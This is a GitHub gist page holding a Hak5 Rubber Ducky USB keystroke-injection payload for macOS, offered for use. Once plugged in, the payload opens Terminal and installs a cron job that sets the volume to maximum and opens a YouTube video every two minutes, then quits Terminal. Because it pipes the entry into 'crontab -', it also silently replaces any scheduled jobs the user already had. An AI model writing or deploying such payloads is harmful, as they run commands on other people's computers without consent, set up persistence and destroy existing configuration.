Skip to content

Instantly share code, notes, and snippets.

@JWardee
Created December 8, 2018 16:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JWardee/32c76c96675bd4cdfebd5870c928ce44 to your computer and use it in GitHub Desktop.
Save JWardee/32c76c96675bd4cdfebd5870c928ce44 to your computer and use it in GitHub Desktop.
Hak5 Rubber Ducky USB payload for OSX that forces the volume to maximum and opens a YouTube video every 2 minutes
DEFAULTDELAY 250
DELAY 750
GUI SPACE
STRING terminal.app
ENTER
DELAY 100
STRING echo "*/2 * * * * osascript -e 'set volume 7' && open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'" | crontab -
ENTER
DELAY 100
GUI q
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment